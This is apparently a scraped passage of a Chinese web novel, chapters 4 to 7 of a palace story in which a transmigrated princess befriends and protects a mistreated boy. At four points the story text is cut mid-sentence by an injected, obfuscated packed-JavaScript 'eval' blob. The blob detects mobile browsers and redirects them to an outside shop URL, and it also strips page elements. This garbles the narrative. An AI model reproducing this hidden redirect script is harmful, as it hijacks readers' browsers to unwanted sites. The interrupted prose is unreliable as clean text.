稍作停顿后,她看着他,又补充道:“你放心,既认了你,我便会向对自己的亲弟妹一般照拂你。你的住所,距离我的玉芙宫很近,读书、起居,不论何事,若有难处,便可派人来寻我,可记住了?” 四目相对,裴祈安仿佛受到了不小的鼓舞,在极轻快的点头之后,认真道:“是,阿姐,祈安记住了。”说到那两个字时,他的声音还是很轻,但却带着一股郑重的意味。 - 从暖阁出来,赵锦瑜慢慢走回自己的寝殿,一路上,裴祈安方才的神态、话语,如同走马灯般在她脑中回放。 回到玉芙宫,灵姝服侍她褪下沾染了寒气的外袍,清梧则是递上温热的茶水。 门轻轻合上,屋内只留下了她们主仆三人。 “公主。”清梧轻轻唤了她一声,“奴婢僭越,但有些话不得不说,否则……心中实在不安。” 赵锦瑜捧着茶盏,抬眸看向她。清梧性子向来沉稳仔细,此刻开口,她大概能猜到她想说什么,“说吧。” 清梧微微垂首,语气谨慎却坚定,“裴公子方才的所言所行,乍看合情合理,仔细琢磨,也没什么错处,可奴婢还是有些担心,他是想借您的势,让自己脱离当前的困境。” 赵锦瑜静静听着,而后轻声开口:“你是觉得,他是装作不记事,来博取我的同情?” 清梧点点头。 旁边的灵姝见状,微微蹙眉,忍不住抒发自己的看法,“可是,我瞧那裴家公子是真可怜,落水时那样凶险,醒来又孤零零的,家中也没个真心待他的人,也许是心灰意冷,故而才忘了一些事呢。” “可怜是可怜。”清梧接过话头,看向赵锦瑜,眼中是真切的担忧,“公主心善,怜他孤苦。可奴婢就怕他这‘记不清’的背后,藏了别的心思。宫廷之中,人心难测,何况他的出身那般复杂。公主待他毫无保留,奴婢担心将来若有变故,会伤了您自己。” 两个最亲近的宫女,将自己的观察与担忧赤裸裸地摊开在了自己面前。这同样,也是她把握不准之事。 赵锦瑜放下茶盏,指尖在温热的杯壁上轻轻划过。 “你们的意思,我都明白。”她缓缓开口,目光变得幽深,“但正因如此,才更要将他留在近前。若是迷途待引的羊,我便引他入正途,若是披着羊皮的小狼崽……”她顿了顿,语气中透着自信,“那也得让他变成一头听话懂事的小狼崽。” 清梧和灵姝闻言,心中也释然了些,公主并非盲目善良。 待两人领命退下,屋内只剩赵锦瑜一人时,她靠向身后的枕头,唇角不自觉勾起一个弧度。 她一个灵魂二十多岁的成年人,还怕教不好一个半大孩子? 裴祈安再心思深沉,那也不过是一个九岁的孩子,如今深处一个全然陌生的环境,自己又占着“救命恩人”和“公主阿姐”两个身份,这完全就是优势在我啊。 想到这里,赵锦瑜心中那点因存疑而产生的焦虑消散了不少,反而升起一种熟悉的,在面对难题时才有的挑战欲。 不就是把歪脖子树苗扶正吗?她有得是耐心和方法。就算他真的是在演又如何?那只能证明他急切地想逃离那个家,那她给他一个“家”不就得了。 先建立信任,再施加影响。 赵锦瑜在心里默默做着规划,目光重新变得坚定而明亮,犹如当年念入党誓词那般。 - 又过两日,裴祈安身体已大好。他便正式从暂居的暖阁搬出,迁入了专门为他作伴读准备的崇文轩。 她估摸着那边应该安置得差不多了,便带着清梧和灵姝,又唤来在外待命的顺安与福喜两名内侍,捧着几套新制的衣裳和一些文房用品,往崇文轩去了。 一路上,两名内侍恭敬地跟在后面。 清梧低声对赵锦瑜道:“公主放心,这二人都是奴婢悉心挑选的,顺安在进宫前便受过从前咱们靖王府的恩惠,为人老实本分,福喜是奴婢的同乡,人很机灵,也是知根知底的。奴婢也叮嘱过他们,过去之后,一来是伺候,二来也是……”她没将话说完,但意思明了。 作为一个现代人,赵锦瑜心中是不太认同安插眼线这种做法的,她相信真心可以换来真心。可转念一想,自己的未来是与裴祈安挂钩的,如若能知晓他平日里会做些什么,喜欢些什么,也好对症下药,在他那增加好感度。于是,这才点点头,“让他们心里头有数便好,平日里该怎么做便怎么做。” 清梧应声:“是。” 到了崇文轩,引路的太监原想通报,被赵锦瑜抬手制止了。 见状,灵姝上前推开门,她便迈步走了进去。 院子不大,却收拾得很干净。 裴祈安正站在院中,背对着她们,仰头不知在看着什么。他身上穿的还是落水那日的衣裳,好似要比那日她见时更宽大一些。 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201995|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步声,裴祈安回过头来,见到来人,他目光似乎亮了一下,但很快便垂下眼眸,快步上前,规规矩矩地行礼,“见过公主。” 赵锦瑜朝他露出笑脸,声音也放得轻缓,“这便是私底下,不必如此拘礼。” 裴祈安闻言直起身,抬眸看她一眼,抿了抿唇,低声道:“是,阿姐。” 赵锦瑜眸中笑意更深,这才示意顺安和福喜上前,对他道:“我为你准备了些衣裳,还有些平日里能用得上的东西。” 裴祈安的目光落在那些东西上,先是怔了一下,随即有些无措地看向赵锦瑜,仿佛觉得有些不真实。一丝裂痕出现在了他原先维持的平静表情上,长睫快速扇动了几下,“劳阿姐费心了。” “既叫我一声阿姐,那我为你准备这些便是应当的。”赵锦瑜打断了他的那点无措,继续道:“明日就要进学了,好好养足精神。” 裴祈安点头,“是。” 瞧着他温顺的模样,赵锦瑜愈加觉得自己如今做的这一切有多正确了。 她缓缓走上前,在他面前停下,“还有件事,祈安日后要多吃饭。你与锦辰一般年纪,却要瘦小许多,身子骨是本钱,不论是读书进学还是习武从戎,做任何事,都得先有个好体格撑着,知道吗?”说话间,还伸手轻轻捏了捏他那几乎没什么肉的肩膀。 她的动作亲昵自然,带着长辈式的关切。那股捏在肩上的力道很轻,却让裴祈安整个身体微微一僵。 下一刻,一股热意从他耳根开始蔓延,直至脸颊。 裴祈安没有动,只是愣愣地点头,声音比方才还要小,“……知道了,阿姐。我会听阿姐的话,多吃饭的。” 这承诺乍听有些傻气,却异常认真。 赵锦瑜满意地收回手,唇角也不由地弯了弯,“乖,那阿姐先走了,你好生休息。” “噢,对了——”临走前才想起来自己还带来了两个人,赵锦瑜转过身,抬手指了指在一旁等候多时的两人,“他们二人是我精挑细选的,以后就留在崇文轩,听你差遣了。” 话落,清梧便对二人道:“还不见过公子。” “奴才顺安见过公子。” “奴才福喜见过公子。” 在她背后,裴祈安微微垂下眼,几秒后视线重新回到赵锦瑜身上,小声说:“多谢阿姐。” 刷脸送温暖的目的达到,赵锦瑜也不打算再多留,准备离开。 “……阿姐慢走。” 目送着人离开,直至那抹身影彻底消失在视野里。 肩膀上方才被触碰过的地方,似乎还残留这一点温热的触感。裴祈安下意识抬手,摸了摸自己的肩膀,瘦骨嶙峋的,确实没多少肉。 要多吃饭…… 如此寻常的四个字,从小到大却从未有人对他说过。在裴家,他吃饱与否,从未有人过问,只要不饿死便算尽责了。 他站在原地,久久未动。 顺安和福喜安静侍立在一旁,不敢打扰。 过了好一会儿,他才慢慢转身,再次看向两人,“今后,劳烦二位了。” 5. 第 5 章 裴祈安的伴读生活就此正式开始。每日天未亮便需起床,梳洗整齐后与大皇子赵锦辰一同前往上书房。 上书房内,除了他这个新晋伴读外,学生并不多。大皇子年幼,尚未到上书房开蒙的年纪,故而如今在此读书的皇嗣,唯有大皇子赵锦辰一人。其余那些,能在此处占得一席之位的,皆是文靖帝特许入宫读书的重臣嫡子,其中,便包含兵部尚书裴宗烨的嫡长子裴昭恒与嫡幼子裴昭钰。 裴昭恒已十五,年长稳重,虽心底里也看不起裴祈安的出身,将这个庶弟视为家族污点,面上却从不显露。而裴昭钰不过八岁,被骄纵惯了,又因上回落水一事,被父亲罚跪了好几个时辰,对裴祈安更是心存怨怼。此刻瞧见这位在家中如影子般不起眼的庶兄,如今穿着一身体面的伴读服侍,心中那股不平之气更是蹭蹭往上冒。 只是如今,裴祈安乃陛下钦定的皇子伴读,身份不再如从前,裴昭恒只得约束着弟弟。裴昭钰纵使再不满,也只敢在无人注意时朝裴祈安的方向剜一个刀眼,不敢真做什么。 一日散学,裴祈安刚将自己的书卷仔细理好,捧在手中,裴昭钰便瞅准了机会,假装着急离开的样子,身子“不经意”一歪,人便重重地往裴祈安的手臂上撞去。 裴祈安猝不及防,手中一松,那叠整理齐整的书卷“哗啦”散落在地,有几本还滑出去老远,“恰巧”被裴昭钰踩在脚下。 “哎呀,你怎么这么不小心?”裴昭钰站定,开口时带着一丝得逞的笑意。 周围几人都看了过来,有人窃窃私语,有人面露看热闹的神色。裴昭恒见状皱了皱眉,低声呵斥:“钰儿,毛手毛脚像什么样子。”话虽如此,却并没上前帮忙收拾。 裴祈安站在原地,看着散落一地的书卷,脸上没什么表情,只是嘴唇微微抿紧了些。他并未动作,而是抬眸扫了一眼赵锦辰的方向。 赵锦辰显然也注意到了这边的动静,他扭头望过来,正好瞧见裴昭钰那副挑衅的嘴脸和裴祈安沉默站立的模样。 下一秒,他的眉头立刻皱了起来。 裴祈安在他看过来的一瞬间,已迅速垂下眼帘,接着什么都没说,只是默默蹲下身,开始一本一本拾起地上的书卷。 他这副逆来顺受、打不还手骂不还口的模样让裴昭钰很快觉得无趣,也让一些旁观者眼中流露出些许轻视。唯有赵锦辰,看着裴祈安捡书的单薄背影,又看着趾高气昂的裴昭钰,心里蹭地冒起了一团火。 “裴昭钰!”赵锦辰声音里带着明显的不悦,“你撞到人,就光站着看?什么都不用做吗?” 大抵是没想到大皇子会直接出面,裴昭钰小脸一僵,那点得意瞬间冻结,他求助似的看向兄长裴昭恒。 裴昭恒立刻上前一步,躬身道:“殿下息怒,舍弟年幼鲁莽,绝无他意。”说着,便示意裴昭钰,“还不赶紧帮你三哥把书捡起来。” 在这双重压力逼迫下,裴昭钰只得心不甘情不愿地弯腰,将书全部捡起后,塞回裴祈安怀里。 “不用道歉吗?”赵锦辰又出声,叫住了准备离开的人。 裴昭钰脚下一顿,难堪地转回身。此刻的裴祈安,眼底淡漠褪尽,黑眸中烧着冷戾的火。 裴昭钰屏着呼吸,头皮莫名有些发寒,相视两秒后,低头道了歉,“对不起三哥,我不是故意的。” 见此情形,赵锦辰哼了哼,“下次走路看着点!”说罢,又将目光转回裴祈安身上,似乎在等他的反应。 在他转身之时,裴祈安已将周身的戾气压了下去。他缓缓启唇,声音不大,但足够清晰,“多谢殿下。” 赵锦辰被他这样看着,听着这声道谢,心头那股“主持了公道”的正义感得到极大的满足。他挺了挺小胸脯,从鼻子里哼出一声,下巴微扬,“走了。” “是,殿下。”裴祈安应声,拿好东西,安静地跟在赵锦辰身后半步。 待二人离开后,其余看热闹的人群皆也散去。 裴昭钰愤愤地跺了一脚地,扭头对裴昭恒道:“大哥!你瞧见那小杂种方才的神情了吗?他分明是在朝我挑衅、朝我炫耀!做了皇子伴读很了不起吗?” 裴昭恒神情也冷冷的,“可不就是了不起嘛,如今也有人替他出头了。” - 玉芙宫内,赵锦瑜半倚在榻上,手里拿着一卷闲书,好半天都没翻动一页。 她有些心不在焉,如今虽成了这金尊玉贵的公主,不必再为生计而奔波,但除了每日的晨昏定省、看看书、出席一些宫廷活动,日子也难免有些无所事事,尤其是这几日,心里总惦记着裴祈安伴读的事。 也不知他和锦辰相处得如何了? 越想越坐不住,她干脆放下书卷,抬眼看向一旁的清梧。 “清梧,现在什么时辰了?” 清梧恭敬答道:“回公主,刚过申时。” 申时过了…… 赵锦瑜心中一动,那便是上书房已经散学了,想必他们二人此刻应当已经回到景阳宫,在对付太傅留下的功课了。 想到这,她立刻起身,吩咐道:“你和灵姝去备些点心,咱们去景阳宫看看。” “是。”清梧应下,立刻去小厨房安排。不多时,两人便带着一个精致的食盒回来了,里头是刚做的山楂糕、杏花酥以及冰糖雪梨羹。 主仆三人往景阳宫去,到了书房外,果然听见赵锦辰在里面嘀嘀咕咕,似乎颇为烦躁。 赵锦瑜示意门外的宫人不必通报,在灵姝轻轻推开门后,便悄声走了进去。 书房内,赵锦辰正对着摊开的书卷龇牙咧嘴,他咬着手上的笔杆,纸上却只歪歪扭扭写了寥寥数行。而在他侧面的书案,裴祈安坐姿端正,垂眸持笔,已然写下了最后一个字。 “阿姐!”瞧见她来,赵锦辰如蒙大赦,丢下笔杆就蹿来,下一步就是拽着她的袖子开始诉苦:“阿姐你可来了,今日太傅留的功课简直不是人能写的,我手腕都快断了。” 赵锦瑜含笑听着他夸张的抱怨,目光却掠过他,落在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201996|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已搁笔起身的裴祈安身上。他穿着合身的伴读服,躬身行礼,姿态无可挑剔。几日下来,宫中的饭食也让他气色好了些。 “祈安不必多礼。”赵锦瑜温声道,迈开步子走过去看了看他写的内容,字迹已初现风骨,与赵锦辰的狗爬字完全不是一个档次的。她赞许地点点头,又问:“课业可还跟得上?” 裴祈安抬起眼,脸上带着些许依赖的神色,微微弯了弯唇角,“谢阿姐关心,太傅讲解得细致,祈安尚能应付。” 听到这句,赵锦辰又不满起来,鼓着脸看裴祈安,控诉道:“这是我阿姐,什么时候成你的了?” 裴祈安被他一嚷,神色微凝。 赵锦瑜见状,伸手轻轻拍了他的后脑勺,力道不重,笑着解释道:“是我允的,祈安在宫中独身一人,照顾些也是该的。你也是,你可比他还要大上半岁呢,如今祈安又跟着你,你这个身为兄长的,是不是也该照顾他一下呢?” 赵锦辰被阿姐拍了脑袋,又被叮嘱照顾裴祈安,撅了噘嘴,有些不服气,但想到今日自己做的事,还是扬起下巴道:“阿姐怎知我没有?他今日遭人欺负还是我帮他出头的呢。” “遭人欺负?”闻言,赵锦瑜心中瞬间有了猜测,却还是转向裴祈安,关切地问:“谁欺负你了?” “还能是谁,就那个裴昭钰啊。”不等裴祈安开口,赵锦辰已经抢先将事情的原委十分生动的说了清楚。 裴祈安在她的目光下,抿了抿唇,几秒后,才用一种平静到近乎温顺的语调开口:“劳阿姐挂心,我没什么事。只是几本书罢了,捡起来便好。四弟此番行径……想来也许只是无心,是习惯与我如此玩闹了,我大约也也……习惯了。” 赵锦辰本来还等着阿姐夸奖自己,听到裴祈安这么说,再看他低眉顺眼的模样,不知怎的,心里那股想要炫耀的劲头突然就泄了气,有点不是滋味了。 他冷哼一声,“你以后不许有此种习惯,你是我的伴读,没人能随意欺你。”说着说着,语气间不知何时带上了点儿咬牙切齿的意味,“欺负你,那便是打我的脸!下回要是还有人敢如此对你,你便揍他!有什么事,我替你顶着!” 这话说得霸道,也将裴祈安弄得怔了一下。他抬起眼,有些茫然无措地看着怒气冲冲的赵锦辰,嘴唇动了动,似乎不知该如何回应这本过于直接甚至有些粗暴的“关怀”。 赵锦瑜将这一幕看在眼里,不免感到欣慰。原书中,裴祈安最后变为大反派,归根结底就是缺爱。既如此,那多给他一些爱便是了。 “锦辰这话虽粗了些,但理却没错。”她看着裴祈安,一字一句清晰道:“以前如何,都过去了。从你入宫的那刻起,那些曾经需要你‘习惯’的事,就不该再有了。在这里,没人能随便欺负你,锦辰会护着你,阿姐也一样。所以,今后就把‘习惯了’三个字,从心里摘除吧,好吗?” 裴祈安纤长的睫毛轻颤着,似乎在努力消化这种过于陌生的感觉。过了片刻,他才极轻地点了点头。 6. 第 6 章 一日午后,赵锦瑜正在自己的小书房里写着毛笔字。写完一面,便拿起来欣赏一下。 在现代社会的时候,她就常被人说:“你啊,学什么都快,就是字写得实在一般。” 而如今,她却能靠着原主的肌肉记忆,写出如此一番好字了。 还没等欣赏够呢,赵锦瑜就见灵姝脚步轻缓地走了进来。 同样注意到的还有在一旁研磨的清梧,她压低声音问:“怎么了?” 灵姝上前一步,“公主,福喜方才悄悄递了话来。” 闻言,赵锦瑜放下纸张,问道:“可是崇文轩那出了岔子?” “岔子倒是不曾有。”灵姝脸上带着一丝欲言又止,“裴小公子这几日都挺好的,并无异动。只是……只是昨日大皇子殿下未完成太傅布置的功课,太傅碍于殿下身份,不便严惩,便责罚了身为伴读的裴公子。听说是罚抄了二十遍课文,还打了十下手心呢。” 赵锦瑜的心倏地沉了下去。 她就知道!锦辰那浑小子还是靠不住。好不容易借着上回的事,让他生出点保护人的心思,这一下,就打回原形了。 赵锦瑜抬手揉着额角,赶紧问:“他手伤得如何?严重吗?” “福喜说,当时还是有些肿的,回去后便给公子上了药,裴公子自己却说无碍。太傅打的是左手,并不影响握笔,昨日夜里,裴公子几乎一夜未睡,才将罚抄的抄完。”灵姝回道,语气里也有些不忍。 最开始接近裴祈安的目的,的确是为了改写自己的命运,可这段时日相处下来,赵锦瑜绝非一点儿真心没有。如今听着,真是有些心疼了。 等今日散学了,她得去看看,也得好好“教育”一下赵锦辰那个皮猴。 这边刚想好,殿外便传来了小太监的通报声:“公主,寿康宫的崔嬷嬷来了。” 赵锦瑜动作一顿,赶紧整理一下神色,“请崔嬷嬷进来。” 崔嬷嬷进来后,依旧是她每次见到的慈祥模样,“老奴见过公主,公主万福。太后娘娘方才歇晌起来,想起好些日子没同公主说说话了,便让老奴来请公主过去。” 赵锦瑜心知太后相召更为紧急,便立即应了下来。 对这位太后,她是真心亲近的。老人家是文靖帝的生母,待人宽厚,对孙辈们也一视同仁地疼爱。 而更让赵锦瑜感到亲切的是,太后的容貌与她在现代社会早已过世的奶奶竟有六七分神似。这也让她每次去寿康宫请安时,都少了几分拘谨。 “祖母今日精神可好?”去寿康宫的路上,赵锦瑜问崔嬷嬷。 崔嬷嬷笑眯眯地开口:“回公主,太后娘娘精神头好着呢,今日歇晌起来,还惦记着小厨房新做的枣泥糕呢,娘娘说公主从小就爱吃枣泥糕,正留着等您去尝尝呢。” 赵锦瑜心头一暖,枣泥糕本也是她爱吃的东西,如今还有一位祖母想着自己,脚步也不由地轻快了起来。 寿康宫内,太后正靠坐在暖榻上,见赵锦瑜进来,脸上便露出真切的笑意。 “阿瑜来了,快过来坐。”太后朝她招手,又吩咐宫人,“把枣泥糕端来,再沏壶茶。” 赵锦瑜上前行了礼,便被太后拉到身边坐下了。 殿内炭火烧得足,老人家的手温暖干燥,轻轻拍着她的手背,“阿瑜气色瞧着不错,今日在忙些什么呀?” 赵锦瑜大约能猜到太后今日唤她前来的目的,随即甜甜一笑,“祖母大约也听说锦辰多了个伴读吧,那孩子是我往父皇母后那求来的,孙女儿瞧他实在可怜,又是个读书的好料子,实在不忍心。最近这段时日,主要就是关注着些他与锦辰的相处。” 太后静静听着,末了轻叹了口气,“那孩子的身世,我也听说了,是个可怜的。”她看向赵锦瑜,慈爱的目光中带着教导,“祖母知你心善,想护着他,这是好事。只是阿瑜,宫里可不比从前咱的靖王府,人多眼杂,那孩子身份有特殊,你既将他留下,就要多费些心思,既要照拂,也要管束,莫要让他生出些不该有的心思,也一定不能让人抓住话柄。” 这番语重心长的话语,是真的在为她考量。 赵锦瑜知道太后这是在提点自己,郑重应下,“孙女儿明白,祖母放心。” 见她听得进去,太后欣慰地点点头,又转了话题,与她聊起了近日的趣事。 正说着,外头便来了通传:“皇上驾到——” 太后一笑,“你父皇怎么这时候也来了?别是知道咱们祖孙俩在喝茶吃糕点哦。” 赵锦瑜被这话逗笑,回道:“可不好说呢。” 文靖帝进来时,就瞧见祖孙俩开怀的模样,心情也不由得更好了。 “见过父皇。”赵锦瑜起身想要让位。 “别动了。”文靖帝制止她,“阿瑜就坐那,陪着你祖母,父皇哪儿都能坐。” 文靖帝坐下,接过宫女送上的茶盏,笑道:“阿瑜在这也刚好,我原是想来与你祖母说些事,可我闺女也是个有主意的,还能帮着一块儿参谋参谋。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201997|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵锦瑜有些犹豫,“儿臣帮着参谋,会不会于理不合啊?” “没什么不合适的,都是自家人,从前在靖王府如何,如今还是一样。”太后放下茶盏,“皇帝说吧。” 文靖帝神色稍正,“是关于先帝遗留下来的问题,先帝并未立后,生母也早已不在人世,如今还有一名贵妃、两名贵人和一名淑仪。儿子与皇后商议了一番,打算将西苑那重新修缮一下,拨给那几位吧。至于皇子公主们,那四位年幼公主,便都由她们自己的母妃养在身边吧。唯独嘉宁和嘉煦,如今年岁也不小了,一个十四,一个十二。儿子打算,先赐予他们姐弟俩封号,就还住在原先的宫殿,由皇后统一照看。至于未来的去留,待年岁稍长再行安排。母后看,如此可还妥当?” 赵锦瑜在一旁静静听着。 赵嘉宁、赵嘉煦,这二人是先帝已故发妻留下的孩子,也是先帝的长子长女。同时,赵嘉煦也是那位被亲皇叔下套,导致如今不良于行的皇子。先帝的所有孩子中,最可惜的便是他了。可纵观历史,已故帝王留下的孩子,最好的结局便是,公主拥有一桩好亲事,皇子成为“透明”的富贵王爷。 太后听完,沉吟片刻,缓缓点头:“皇帝考虑得周全,哀家没有意见。先帝留下的人,也该有妥善的安置。尤其是嘉宁、嘉煦这俩孩子,哀家也算是看着他们姐弟长大的,他们俩……都是好孩子。请安问候,次次不落,尤其是嘉煦,哀家瞧他不方便,让他不用日日来,他也只道规矩不能坏。” 文靖帝闻言,眉头微挑,“这两孩子,确实是好的。”说着,他又去看赵锦瑜,脸上笑意更深,“阿瑜应该还记得吧,你幼时父皇有时会带你进宫,你那时就很爱缠着你那嘉宁姐姐玩。” 赵锦瑜的记忆中确实有这么一段,她笑着开口:“那是因为当初那位二皇子的女儿,看我发髻绑得好看,便总扯我头花,是嘉宁姐姐护着我的。” 听着女儿诉说这段往事,文靖帝眼角抽了抽,没想到自己当年带闺女进宫,竟还让宝贝女儿受了委屈。 太后笑看着儿子神色的变换,摇了摇头,又对赵锦瑜道:“既如此,阿瑜平日无事可以与嘉宁多走动走动,弟弟妹妹都还小,想你也没个贴心的说话人,嘉宁只大你一岁,你们幼时便一同玩耍,想必如今也是能聊得来的。” “好。”赵锦瑜乖巧应下,“孙女听祖母的,等明儿空闲时,便去看看我那位姐姐。” 今日是没时间了,等离了寿康宫,她还得去收拾赵锦辰那臭小子呢! 7. 第 7 章 从寿康宫出来时,日头已经西斜。 赵锦瑜记挂着裴祈安那边的情况,便没回玉芙宫,直接带着清梧和灵姝径直往景阳宫的方向去了。 到了书房外,里面出乎意料的安静,没了往常总会传来的赵锦辰的抱怨或玩闹声。 在赵锦瑜的示意下,在外候着的宫人没有出声,同上回一样,轻轻推门进去。 只见赵锦辰坐在书案前,面前摊着书本,手中也捏着笔,但那神情却明显有些心不在焉,眼神时不时就往斜前方瞟。而被他关注着的裴祈安,则依旧专心致志地做着自己的事。 听到响动,两人同时抬头。 赵锦辰见是她,眼睛瞬间一亮,司机又像是想到什么,眼神飘忽了一下,有些不自在地唤了声:“阿姐。” 与此同时,裴祈安已放下笔,起身行礼,“阿姐来啦。” 赵锦瑜目光敏锐地在两人之间打转一圈,一眼便发现了气氛似乎有些古怪。一个少了平日里的理直气壮,甚至有些坐立不安;另一个虽表面与往常一样,但眉眼间的沉静似乎要比往日更甚。 沉默一瞬后,赵锦辰忍不住先开口:“阿姐今日过来……怎么没带点心?” 赵锦瑜笑了笑,在旁边椅子坐下,“我刚从太后祖母那儿回来,顺道来看看你们,怎么?大皇子殿下这景阳宫还少我那点儿吃食了?” “不是。”赵锦辰低声解释:“那不是阿姐之前总带嘛,我才问问而已,就问问。” “好。”赵锦瑜顺势点点头,“那你们接着忙自己的功课,我就在这坐会儿。” 果然,话头一落,书房里又陷入了一片安静。 屋内只有窗外偶尔传来的鸟鸣,以及裴祈安那儿笔尖划过纸张的沙沙声。那声音其实很轻,可落在赵锦辰耳中却分外响亮,仿佛在提醒他,自己昨日的过错。 他越是在意那声音,越是坐立不安,扭动两下身子后,又清了清嗓子,目光飘向裴祈安那边,终于开始没话找话,开口的声音刻意放得轻松,“那个……裴祈安,你平日写的都挺快的,今日还没写完吗?” 听到问话,裴祈安笔尖暂停,微微侧首,回应他的声音平稳且无波澜,“回殿下,还未。” 赵锦辰无法从他的声音里听出什么情绪,正想再问,就听一旁静静观察的赵锦瑜轻声开口了。 她的目光落在裴祈安的两只手上,语气温和又带着一丝了然,“我想祈安大约是手还酸着,使不上力,今日才写得慢些吧,毕竟昨日,才罚抄了二十遍课文呢。” 这话声音不高,却像一颗小石子投入平静的湖面。赵锦辰尴尬地笑笑,眼睛眨巴眨巴地看着她:“阿姐,你……你都知道啦?” 赵锦瑜端起宫女送来的茶盏,“只知道一些,我只听说太傅昨日罚了人,还动了戒尺。”她抿了一小口,又抬眼看向赵锦辰,“锦辰,你告诉阿姐,祈安为什么被罚抄二十遍,又为什么……挨了手心?” 赵锦辰被她看得心虚,眼神闪躲,支支吾吾地回道:“因为……是因为……功课没有完成。” “谁的功课没有完成?” 在她的追问中,赵锦辰的头越来越低,声音也逐渐细若蚊蝇,“……我的。” “哦?你的?”赵锦瑜佯装震惊,继续问:“那为何受罚的是他?” “我……我……因为……” 赵锦辰答不上来,余光中,裴祈安似乎也在看自己。他脸涨得通红,手指用力绞着衣角。 赵锦瑜看着他这副模样,心中的气也散了许多。她放下茶盏,声音沉了几分,“锦辰,伴读之责,在于辅佐、监督,若因你之过,反而连累伴读受责罚,久而久之,谁还愿意真心做你的伴读?还有父皇那边,若是这样的事儿再来两回,他也许会认为是祈安无能,到时,你要在换一个伴读吗?还是说……”她停顿两秒,“你内心就是不想要伴读,若是这样,阿姐干脆早些把祈安送走。” “送走”二字一出,赵锦辰浑身一僵,猛地抬起头,眼中是真真切切出现了慌乱。 他从未想过这一层啊!他只是偷了个懒,让裴祈安挨罚已经挺愧疚的了,如若还因为自己,让他被送回那个根本不欢迎他的裴家,那自己今后哪里还有脸面对他啊! “不要!”他急得脱口而出,声音都不知不觉带了点哭腔,“阿姐别送他走!也不要换掉他!我、我知道错了,都是我不好,是我没写功课才连累他的!” 他终于将这话说出来了,语气中带着前所未有的急切和真心。 瞧着他都快急哭的模样,赵锦瑜心中软了一下,但面上依旧严肃,“知道错了?那是与我说的吗?这错你该向谁认呢?” 赵锦辰愣了愣,随即反应过来。他从书案前走出,来到裴祈安面前,看着他低垂的侧脸和不太自然的手,心中那点别扭和架子终于彻底放下。他深吸一口气,红着脸,声音不大却清晰地说道:“裴祈安,对不起,昨日……昨日是我偷懒了,连累你受罚。我今后、今后一定不再这样了,我知道你肯定生我气了,我与你道歉,你别记恨我,也别……别走,行吗?”说到最后,还带了点小心翼翼的恳求。 话音落下后,裴祈安缓缓抬起头,望向眼前这个脸涨的通红的大皇子殿下。 道歉…… 原来,身处如此高位的人也是可以道歉的啊。在裴家的这些年里,他听过无数的嘲讽、谩骂、蔑视,那些人在面对他时,永远是高高在上的,仿佛自己只是一只蝼蚁,随随便便都能被他们踩在脚下,碾死。 他习惯了忍耐,习惯了不对任何善意抱有不切实际的期待。可此刻,他却不知该如何反应了。 “无妨。”良久的沉默后,他最终还是只憋出这两个字来。 “真的无妨吗?”赵锦瑜轻声唤他,“祈安,手心的疼,或许过几日就好了,但心里的委屈与不公呢?也能因为一句“‘无妨’,就当作没发生吗?你的感受,也很重要啊。” 裴祈安的睫毛剧烈颤动了一下,他紧抿着唇,面对这从未听过的话语,身体都颤栗了起来。 “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201998|197226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对。”赵锦辰忽然又出声,仿佛被点醒一般,他转回身,眼珠飞快转着,目光最后定格在书案的笔架上。 他几步冲过去,毫不犹豫抓起那支最粗的狼毫笔,又回来塞到裴祈安手里,“这里没有戒尺,你用它吧!”顿了顿后,又说:“别看它只是毛笔,但它是其中最粗的了,打在手心,应该也是疼的……” 说完,又伸出自己的左手,掌心朝上,闭起眼睛,做出一副视死如归的表情,“你大胆打!必须也打十下!我保证不吭声!” 这突如其来又不按套路出牌的举动让裴祈安彻底愣住了,他右手手心还握着那支沉甸甸的毛笔,看着眼前那只因为紧张微微颤抖的手,大脑瞬间一片空白。 打回来?他竟然也能有这种选项吗? 他能感受到赵锦瑜的目光也落在自己身上,没有阻止,没有劝说,只有静静地等待。 